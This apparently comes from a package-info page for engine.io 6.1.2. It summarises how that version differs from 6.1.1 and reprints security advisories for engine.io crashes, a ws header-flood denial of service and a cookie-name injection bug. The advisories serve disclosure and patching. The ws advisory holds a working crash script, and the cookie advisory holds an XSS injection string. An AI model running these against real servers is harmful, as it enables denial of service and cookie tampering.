Engine.IO version 6.1.2 represents a minor update to the popular realtime communication engine, building upon the foundation laid by version 6.1.1. Both versions serve as the cornerstone for bidirectional connections, notably powering Socket.IO and offering developers a robust solution for building interactive web applications. Underneath, both versions share identical dependency profiles, consistently relying on packages like ws for WebSocket support, cors for Cross-Origin Resource Sharing, and debug for enhanced logging. Development dependencies remain the same, ensuring a consistent testing and building environment, incorporating tools such as mocha for testing, rimraf for file removal, and typescript for type checking.
The key distinctions emerge in the dist section of the package metadata. Version 6.1.2 shows a slight reduction in fileCount, from 33 to 32, and a smaller unpackedSize, decreasing from 155942 bytes to 145122 bytes. While seemingly small, these changes suggest potential optimizations or minor adjustments in the codebase. Furthermore, version 6.1.2 has a later releaseDate of January 18, 2022, compared to January 11, 2022, for version 6.1.1, marking it as the more recent release. Overall, the update from 6.1.1 to 6.1.2 appears incremental, likely focusing on improvements, bug fixes, or minor code refactoring, without introducing breaking changes or altering core functionalities. Developers can likely update with confidence, expecting increased stability, optimization, while maintaining core bidirectional communication capabilities.
All the vulnerabilities related to the version 6.1.2 of the package
engine.io Uncaught Exception vulnerability
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
TypeError: Cannot read properties of undefined (reading 'handlesUpgrades')
at Server.onWebSocket (build/server.js:515:67)
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2023/05/02): 6.4.2
This bug was introduced in version 5.1.0 and included in version 4.1.0 of the socket.io parent package. Older versions are not impacted.
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.6.x | ~6.4.0 | npm audit fix should be sufficient |
| socket.io@4.5.x | ~6.2.0 | Please upgrade to socket.io@4.6.x |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.6.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.6.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.6.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.6.x |
| socket.io@4.0.x | ~5.0.0 | Not impacted |
| socket.io@3.1.x | ~4.1.0 | Not impacted |
| socket.io@3.0.x | ~4.0.0 | Not impacted |
| socket.io@2.5.0 | ~3.6.0 | Not impacted |
| socket.io@2.4.x and below | ~3.5.0 | Not impacted |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Thomas Rinsma from Codean for the responsible disclosure.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.